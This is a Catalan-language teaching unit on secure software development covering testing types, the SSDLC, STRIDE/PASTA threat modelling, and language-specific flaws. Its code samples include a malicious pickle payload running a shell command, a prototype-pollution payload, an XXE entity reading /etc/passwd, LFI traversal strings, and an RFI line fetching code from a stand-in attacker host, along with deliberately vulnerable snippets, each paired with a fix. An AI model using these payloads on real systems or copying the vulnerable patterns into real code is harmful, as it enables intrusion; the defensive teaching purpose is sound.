Fonaments de Seguretat en Aplicacions
Proposta didàctica
En aquest bloc treballem els fonaments de la seguretat en el desenvolupament de programari: el cicle de vida segur, les metodologies de modelatge d'amenaces i les vulnerabilitats específiques dels principals llenguatges de programació.
Criteris d'avaluació
- CA1.1 Comparació de llenguatges de programació des del punt de vista de la seguretat.
- CA1.2 Models d'execució de programari i les seves implicacions en la seguretat.
- CA1.3 Elements bàsics del codi font que afecten la seguretat.
- CA1.4 Tipus de proves de programari orientades a la seguretat.
- CA1.5 Avaluació de seguretat en llenguatges i entorns d'execució.
Continguts de referència
- Tipus de proves de seguretat: SAST, DAST, IAST, SCA
- Secure Software Development Lifecycle (SSDLC / SDL)
- Threat Modeling: STRIDE i PASTA
- Sandboxes i entorns d'execució aïllats
- Seguretat en els principals llenguatges de programació
- Eines d'anàlisi estàtica: SonarQube, Semgrep
Questionari inicial del bloc
- Quin tipus de prova de seguretat analitza el codi font sense executar-lo?
- Quina diferència hi ha entre SAST i DAST?
- Quin és el propòsit del Secure Software Development Lifecycle (SSDLC)?
- Quines fases comprèn el cicle de vida de desenvolupament segur?
- Que és el Threat Modeling i per a que s'utilitza?
- Quins elements comprèn l'acrònim STRIDE?
- Per que és perillós utilitzar la funció eval() en Python?
- Que és la deserialització insegura i en quins llenguatges és habitual?
- Que és el prototype pollution en JavaScript?
- Que és una anàlisi de composició de programari (SCA)?
1. Tipus de Proves de Seguretat
SAST — Static Application Security Testing
L'anàlisi estàtica de seguretat examina el codi font, bytecode o binaris sense executar l'aplicació. Permet detectar vulnerabilitats molt aviat en el cicle de vida del desenvolupament ("shift left").
Avantatges: - Detecta problemes en la fase de codificació - Cobertura del 100% del codi (no depèn de casos d'ús) - Integrable en l'IDE i en pipelines CI/CD - No requereix un entorn d'execució
Limitacions: - Alta taxa de falsos positius - No detecta problemes que sorgeixen en temps d'execució - Cal configuració i ajust per minimitzar el soroll
Eines SAST populars:
| Eina | Llicència | Llenguatges suportats |
|---|---|---|
| SonarQube | Open Source / Comercial | 30+ (Java, Python, JS, PHP...) |
| Semgrep | Open Source | 20+ |
| CodeQL (GitHub) | Gratuït per OSS | C, C++, Java, Python, JS, Go |
| Checkmarx | Comercial | 30+ |
| Snyk Code | Freemium | 20+ |
DAST — Dynamic Application Security Testing
L'anàlisi dinàmica prova l'aplicació en execució, simulant atacs externs sense accés al codi font. És ideal per descobrir vulnerabilitats que només es manifesten en temps d'execució.
Avantatges: - Detecta vulnerabilitats reals en entorns d'execució - Pocs falsos positius (les vulnerabilitats trobades generalment existeixen) - No requereix accés al codi font - Simula el comportament d'un atacant real
Limitacions: - Cobertura limitada (només prova els camins que explora) - Pot trencar l'aplicació en entorns de producció - Més lent que SAST
Eines DAST populars:
| Eina | Llicència | Descripció |
|---|---|---|
| OWASP ZAP | Open Source | Proxy interceptor i escàner |
| Burp Suite | Freemium | Plataforma professional de pentest web |
| Nikto | Open Source | Escàner de vulnerabilitats web |
| w3af | Open Source | Framework d'atacs i auditories |
IAST — Interactive Application Security Testing
L'IAST combina tècniques de SAST i DAST. S'implementa com un agent dins de l'aplicació que monitoritza el comportament durant les proves funcionals.
graph LR
A[Codi Font] -->|SAST| B[Anàlisi Estàtica]
C[Aplicació en Execució] -->|DAST| D[Prova Externa]
C -->|IAST Agent| E[Monitoratge Intern]
B --> F[Informe de Vulnerabilitats]
D --> F
E --> F
SCA — Software Composition Analysis
L'SCA analitza les dependències de tercers (biblioteques, frameworks) per identificar components amb vulnerabilitats conegudes (CVEs).
Per que és crític l'SCA?
L'incident Log4Shell (CVE-2021-44228) va afectar milions de servidors perquè les aplicacions incloïen la biblioteca Log4j sense saber que era vulnerable. Un escàner SCA hauria detectat la versió vulnerable i alertat els equips de desenvolupament.
Eines SCA populars:
- Trivy (Aqua Security): Escàner de contenidors i dependències
- Snyk: Plataforma SCA amb remediació automatitzada
- Dependabot (GitHub): Actualitzacions automàtiques de dependències
- OWASP Dependency-Check: Eina open source
2. Secure Software Development Lifecycle (SSDLC)
El SSDLC (o SDL — Security Development Lifecycle, introduït per Microsoft) és un marc de treball que integra pràctiques de seguretat en cada fase del cicle de vida del desenvolupament de programari.
flowchart LR
A[1. Planificació<br/>i Requisits] --> B[2. Disseny<br/>i Arquitectura]
B --> C[3. Implementació<br/>i Codificació]
C --> D[4. Verificació<br/>i Proves]
D --> E[5. Desplegat<br/>i Operació]
E --> F[6. Manteniment<br/>i Resposta]
F --> A
A1[Threat Modeling<br/>Requisits seguretat] -.-> A
B1[Revisió arquitectura<br/>Patrons segurs] -.-> B
C1[SAST<br/>Code review<br/>Estàndards segurs] -.-> C
D1[DAST<br/>Pen testing<br/>SCA] -.-> D
E1[Config segura<br/>Secrets mgmt<br/>WAF] -.-> E
F1[Patch mgmt<br/>Monitoratge<br/>Incident response] -.-> F
Fase 1: Planificació i Requisits de Seguretat
En la fase inicial, cal identificar els requisits de seguretat de l'aplicació:
- Classificació de dades: Quines dades personals, financeres o sensibles gestionarà l'aplicació?
- Marc normatiu: Quines regulacions s'apliquen? (GDPR, PCI-DSS, HIPAA...)
- Model d'amenaça inicial: Quins són els actors maliciosos potencials?
- Requisits ASVS: Quin nivell d'ASVS cal assolir?
Fase 2: Disseny Segur
El disseny segur aplica principis fonamentals:
- Principi de mínim privilegi: Cada component té accés només al que necessita
- Defensa en profunditat: Múltiples capes de seguretat
- Fail-safe per defecte: En cas d'error, el sistema adopta l'estat més segur
- Separació de privilegis: Components d'alt risc aïllats dels de baix risc
- Minimització de la superfície d'atac: Reduir funcionalitats exposades
Fase 3: Codificació Segura
Durant la codificació s'apliquen:
- Estàndards de codificació segura: CERT, OWASP Secure Coding Practices
- Revisió de codi entre iguals (peer review)
- Anàlisi estàtica integrada en l'IDE (SonarLint, CodeQL)
- Gestió segura de secrets: Mai hardcoded en el codi
Fase 4: Verificació i Proves
- Proves funcionals de seguretat
- DAST i pen testing
- Revisió final de vulnerabilitats
- Verificació de compliment ASVS
3. Threat Modeling
El Threat Modeling (modelatge d'amenaces) és el procés d'identificar, classificar i prioritzar les possibles amenaces a un sistema durant la fase de disseny.
STRIDE
STRIDE és un model desenvolupat per Microsoft que classifica les amenaces en 6 categories:
| Lletra | Amenaça | Descripció | Propietat violada |
|---|---|---|---|
| S | Spoofing (suplantació) | L'atacant es fa passar per un altre usuari o sistema | Autenticitat |
| T | Tampering (manipulació) | L'atacant modifica dades o codi | Integritat |
| R | Repudiation (repudi) | L'atacant nega haver fet una acció | No-repudi |
| I | Information Disclosure | L'atacant accedeix a informació confidencial | Confidencialitat |
| D | Denial of Service | L'atacant atura el servei | Disponibilitat |
| E | Elevation of Privilege | L'atacant obté privilegis superiors | Autorització |
flowchart TD
A[Identificar els<br/>components del sistema] --> B[Crear diagrama<br/>de flux de dades DFD]
B --> C[Identificar Trust<br/>Boundaries]
C --> D[Aplicar STRIDE<br/>a cada flux]
D --> E[Classificar amenaces<br/>per risc DREAD]
E --> F[Definir<br/>contramesures]
F --> G[Validar<br/>la mitigació]
G --> H[Documentar<br/>el model]
Exemple d'aplicació STRIDE a una API REST:
| Component | Amenaça STRIDE | Exemple concret | Contramesura |
|---|---|---|---|
Endpoint /login |
Spoofing | Atac de força bruta | Rate limiting, MFA |
| Base de dades | Tampering | SQL Injection | Prepared statements |
| Logs d'autenticació | Repudiation | Esborrar rastres | Logs immutables, SIEM |
Endpoint /api/users |
Information Disclosure | IDOR (Insecure Direct Object Reference) | Validació d'autorització |
| Servidor web | Denial of Service | DDoS, flood de peticions | WAF, CDN, rate limiting |
| Rol d'usuari | Elevation of Privilege | Manipulació de JWT | Validació de firma JWT |
PASTA
PASTA (Process for Attack Simulation and Threat Analysis) és una metodologia de 7 passos orientada als objectius de negoci:
- Definir els objectius de negoci: Quins actius protegim i per a qui?
- Definir l'abast tècnic: Quina és la superfície d'atac?
- Descompondre l'aplicació: Diagrames de flux de dades
- Analitzar l'entorn d'amenaces: Actors, TTPs (Tàctiques, Tècniques i Procediments)
- Analitzar les vulnerabilitats: CVEs, CWEs rellevants
- Simular atacs: Escenaris d'atac per prioritzar riscos
- Analitzar el risc residual: Decisions de negoci basades en risc
4. Sandboxes i Entorns d'Execució Aïllats
Un sandbox és un entorn d'execució aïllat que limita els recursos i permisos accessibles per un programa, de manera que el codi maliciós o buggy no pugui afectar el sistema amfitrió.
Tipus de sandboxes
Contenidors Docker: El model de contenidors proporciona aïllament de processos, sistema de fitxers i xarxa:
# docker-compose.yml per a entorn de proves aïllat
services:
app-sandbox:
image: python:3.11-slim
# Limitar recursos
deploy:
resources:
limits:
cpus: '0.5'
memory: 256M
# Sistema de fitxers de només lectura
read_only: true
# Sense privilegis
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
# Xarxa aïllada
networks:
- sandbox-net
networks:
sandbox-net:
driver: bridge
internal: true # Sense accés a Internet
gVisor (Google): Kernel en espai d'usuari que intercepta les crides al sistema.
Firejail: Sandbox de Linux per a aplicacions d'escriptori.
5. Seguretat en els Principals Llenguatges
Python: Riscos de Seguretat
eval() i exec(): Execució Arbitrària de Codi
Codi vulnerable
Remediació
import ast
import operator
# SEGUR: Avaluació limitada d'expressions matemàtiques
def calcular_segur(expressio):
# Permetre només operadors matemàtics
operadors_permesos = {
ast.Add: operator.add,
ast.Sub: operator.sub,
ast.Mult: operator.mul,
ast.Div: operator.truediv,
}
def evaluar_node(node):
if isinstance(node, ast.Num):
return node.n
elif isinstance(node, ast.BinOp):
op = operadors_permesos.get(type(node.op))
if op is None:
raise ValueError(f"Operador no permès: {type(node.op)}")
return op(evaluar_node(node.left), evaluar_node(node.right))
else:
raise ValueError(f"Expressió no vàlida: {node}")
arbre = ast.parse(expressio, mode='eval')
return evaluar_node(arbre.body)
pickle: Deserialització Insegura
Codi vulnerable
import pickle
import base64
# VULNERABLE: deserialitzar dades no confiables
def carregar_sessio(dades_b64):
dades = base64.b64decode(dades_b64)
sessio = pickle.loads(dades) # Execució de codi arbitrari!
return sessio
# Atac: crear un pickle maliciós
import os
class Exploit(object):
def __reduce__(self):
return (os.system, ('id > /tmp/pwned',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
# Si s'envia aquest payload, s'executa 'id > /tmp/pwned'
Remediació
import json
import hmac
import hashlib
SECRET_KEY = b'clau-secreta-molt-llarga-i-aleatoria'
# SEGUR: usar JSON (format de dades, no executa codi) + HMAC per integritat
def guardar_sessio(dades: dict) -> str:
payload = json.dumps(dades)
mac = hmac.new(SECRET_KEY, payload.encode(), hashlib.sha256).hexdigest()
return f"{payload}|{mac}"
def carregar_sessio_segur(dades_signades: str) -> dict:
parts = dades_signades.rsplit('|', 1)
if len(parts) != 2:
raise ValueError("Format invàlid")
payload, mac_rebut = parts
mac_esperat = hmac.new(SECRET_KEY, payload.encode(), hashlib.sha256).hexdigest()
if not hmac.compare_digest(mac_rebut, mac_esperat):
raise ValueError("Signatura invàlida: possible manipulació!")
return json.loads(payload)
JavaScript / Node.js: Riscos de Seguretat
Prototype Pollution
Codi vulnerable
// VULNERABLE: merge profund sense protecció
function mergeDeep(target, source) {
for (const key in source) {
if (typeof source[key] === 'object') {
// Si key és '__proto__', contaminem Object.prototype!
target[key] = mergeDeep(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Atac: payload JSON maliciós
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
mergeDeep({}, payload);
// Ara TOTS els objectes tenen isAdmin = true!
const usuari = {};
console.log(usuari.isAdmin); // true - EXPLOTAT!
Remediació
// SEGUR: filtrar claus perilloses
function mergeDeepSegur(target, source) {
const CLAUS_PROHIBIDES = ['__proto__', 'constructor', 'prototype'];
for (const key of Object.keys(source)) {
// Bloquejar keys perilloses
if (CLAUS_PROHIBIDES.includes(key)) {
continue;
}
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) {
target[key] = Object.create(null); // Objecte sense prototype!
}
mergeDeepSegur(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Alternativa: usar Object.create(null) per crear objectes purs
const objSegur = Object.create(null);
eval() en JavaScript
Codi vulnerable
Remediació
const { create } = require('mathjs');
// SEGUR: usar una biblioteca matemàtica segura
const math = create({}, {});
app.get('/calcula', (req, res) => {
try {
// mathjs avalua expressions matemàtiques de forma segura
const resultat = math.evaluate(req.query.expr);
// Validar que el resultat és un número
if (typeof resultat !== 'number') {
return res.status(400).json({ error: 'Expressió invàlida' });
}
res.json({ resultat });
} catch (e) {
res.status(400).json({ error: 'Expressió invàlida' });
}
});
Java: Riscos de Seguretat
Deserialització Insegura (CVE relacionat: Apache Commons Collections)
Codi vulnerable
// VULNERABLE: Deserialitzar dades d'usuari
import java.io.*;
public class GestorSessio {
public Object carregarSessio(byte[] dades) throws Exception {
// PERILL: qualsevol objecte serialitzat pot executar codi
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(dades)
);
return ois.readObject(); // Remote Code Execution possible!
}
}
Remediació
// SEGUR: usar un filtre de deserialització
import java.io.*;
import java.util.Set;
public class GestorSessioSegur {
private static final Set<String> CLASSES_PERMESES = Set.of(
"com.empresa.model.Sessio",
"com.empresa.model.Usuari",
"java.lang.String",
"java.lang.Integer"
);
public Object carregarSessio(byte[] dades) throws Exception {
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(dades)
) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String nomClasse = desc.getName();
// Validar que la classe és de les permeses
if (!CLASSES_PERMESES.contains(nomClasse)) {
throw new InvalidClassException(
"Classe no permesa: " + nomClasse
);
}
return super.resolveClass(desc);
}
};
return ois.readObject();
}
}
XXE — XML External Entity
Codi vulnerable
// VULNERABLE: processament XML sense protecció contra XXE
import javax.xml.parsers.*;
import org.w3c.dom.*;
public class ProcessadorXML {
public Document processar(String xml) throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
// Atac: l'XML inclou una entitat externa com:
// <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
// <foo>&xxe;</foo>
return builder.parse(new InputSource(new StringReader(xml)));
}
}
Remediació
// SEGUR: desactivar entitats externes
public class ProcessadorXMLSegur {
public Document processar(String xml) throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Desactivar entitats externes - crític per prevenir XXE
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
DocumentBuilder builder = factory.newDocumentBuilder();
return builder.parse(new InputSource(new StringReader(xml)));
}
}
PHP: Riscos de Seguretat
RFI / LFI — Remote/Local File Inclusion
Codi vulnerable
<?php
// VULNERABLE: inclusió de fitxers basada en paràmetre d'usuari
// LFI - Local File Inclusion
$pagina = $_GET['pagina'];
include($pagina . '.php');
// Atac LFI: ?pagina=../../../../etc/passwd%00
// Atac LFI: ?pagina=../../../var/log/apache2/access.log
// RFI - Remote File Inclusion (si allow_url_include = On)
include($pagina);
// Atac RFI: ?pagina=http://atacant.com/malware.php
?>
Remediació
<?php
// SEGUR: llista blanca estricta de pàgines permeses
$PAGINES_PERMESES = ['inici', 'sobre', 'contacte', 'serveis'];
$pagina = $_GET['pagina'] ?? 'inici';
// Validar que la pàgina és de la llista blanca
if (!in_array($pagina, $PAGINES_PERMESES, true)) {
// Log de l'intent sospitós
error_log("Intent d'inclusió no autoritzada: " . $pagina);
$pagina = 'inici'; // Pàgina per defecte
}
// Construir el camí de forma segura
$ruta = __DIR__ . '/pagines/' . $pagina . '.php';
// Verificació addicional: el fitxer ha d'existir i estar dins del directori permès
$ruta_real = realpath($ruta);
$directori_base = realpath(__DIR__ . '/pagines/');
if ($ruta_real && strpos($ruta_real, $directori_base) === 0) {
include($ruta_real);
} else {
include(__DIR__ . '/pagines/inici.php');
}
?>
6. Eines d'Anàlisi Estàtica
SonarQube
SonarQube és una plataforma de qualitat i seguretat de codi que analitza més de 30 llenguatges de programació.
Desplegar SonarQube amb Docker:
# Iniciar SonarQube (requereix vm.max_map_count=262144)
docker run -d \
--name sonarqube \
-p 9000:9000 \
-e SONAR_ES_BOOTSTRAP_CHECKS_DISABLE=true \
sonarqube:community
Escanejar un projecte Python:
# Instal·lar el scanner
pip install sonar-scanner-cli
# Crear sonar-project.properties
cat > sonar-project.properties << EOF
sonar.projectKey=el-meu-projecte
sonar.sources=src
sonar.host.url=http://localhost:9000
sonar.login=el-meu-token
EOF
# Executar l'escaneig
sonar-scanner
Miniactivitat 1: SonarQube
Instal·la SonarQube amb Docker i escaneja el següent codi Python vulnerable.
Codi a analitzar:
import sqlite3
import os
def cerca_usuari(nom):
conn = sqlite3.connect('db.sqlite3')
cursor = conn.cursor()
# Quina vulnerabilitat té aquesta consulta?
cursor.execute(f"SELECT * FROM usuaris WHERE nom = '{nom}'")
return cursor.fetchall()
def llegir_fitxer(ruta):
# Quina vulnerabilitat té aquesta funció?
nom_fitxer = input("Fitxer a llegir: ")
with open("/var/data/" + nom_fitxer) as f:
return f.read()
def executar_comanda(cmd):
# Quina vulnerabilitat té aquesta funció?
return eval(cmd)
Preguntes: 1. Quantes vulnerabilitats ha detectat SonarQube? 2. Quins nivells de severitat té cadascuna? 3. Quines remediacions suggereix SonarQube?
Semgrep
Semgrep és una eina d'anàlisi estàtica lleugera que utilitza regles expressades com a patrons de codi.
Instal·lar i usar Semgrep:
# Instal·lar Semgrep
pip install semgrep
# Escanejar amb regles predefinides per OWASP Top Ten
semgrep --config=p/owasp-top-ten .
# Escanejar un fitxer concret
semgrep --config=p/python .
# Crear una regla personalitzada
cat > regla-eval.yaml << 'EOF'
rules:
- id: eval-usuari-no-validat
patterns:
- pattern: eval($X)
- pattern-not: eval("literal_string")
message: "Ús d'eval() potencialment perillós amb entrada variable"
languages: [python]
severity: ERROR
metadata:
cwe: CWE-95
owasp: A03:2021
EOF
semgrep --config=regla-eval.yaml .
Miniactivitat 2: Semgrep
Crea una regla Semgrep que detecti l'ús insegur de pickle.loads() en Python.
La regla ha de:
1. Detectar pickle.loads() amb qualsevol argument
2. Mostrar un missatge d'error descriptiu
3. Referenciar el CWE corresponent (CWE-502: Deserialization of Untrusted Data)
Prova la regla contra el codi vulnerable de la secció anterior.
Resum del Bloc
mindmap
root((Fonaments Seguretat))
Proves de Seguretat
SAST
SonarQube
Semgrep
CodeQL
DAST
OWASP ZAP
Burp Suite
IAST
SCA
Trivy
Snyk
SSDLC
Planificació
Disseny Segur
Codificació Segura
Verificació
Desplegat
Threat Modeling
STRIDE
PASTA
Llenguatges
Python
eval
pickle
JavaScript
Prototype Pollution
eval
Java
Deserialització
XXE
PHP
RFI/LFI
eval
Activitats
- AC501 (CA1.1, CA1.5) Comparativa de seguretat entre Python, JavaScript, Java i PHP
- AC502 (CA1.3, CA1.4) Identificació de vulnerabilitats en codi font amb SonarQube
- AC503 (CA1.3, CA1.4) Creació de regles personalitzades amb Semgrep
- AC504 (CA1.3) Threat Modeling STRIDE d'una aplicació web de compres online
- AC505 (CA1.2) Configuració d'un entorn de proves aïllat amb Docker
Projecte del Bloc
- PR501 (CA1.1–CA1.5) Auditoria de codi font d'un projecte real amb eines SAST i presentació d'informe
Ampliacions
- AP501 Implementació d'un pipeline SAST automatitzat amb GitHub Actions
- AP502 Threat Modeling complet d'un sistema de pagaments en línia amb PASTA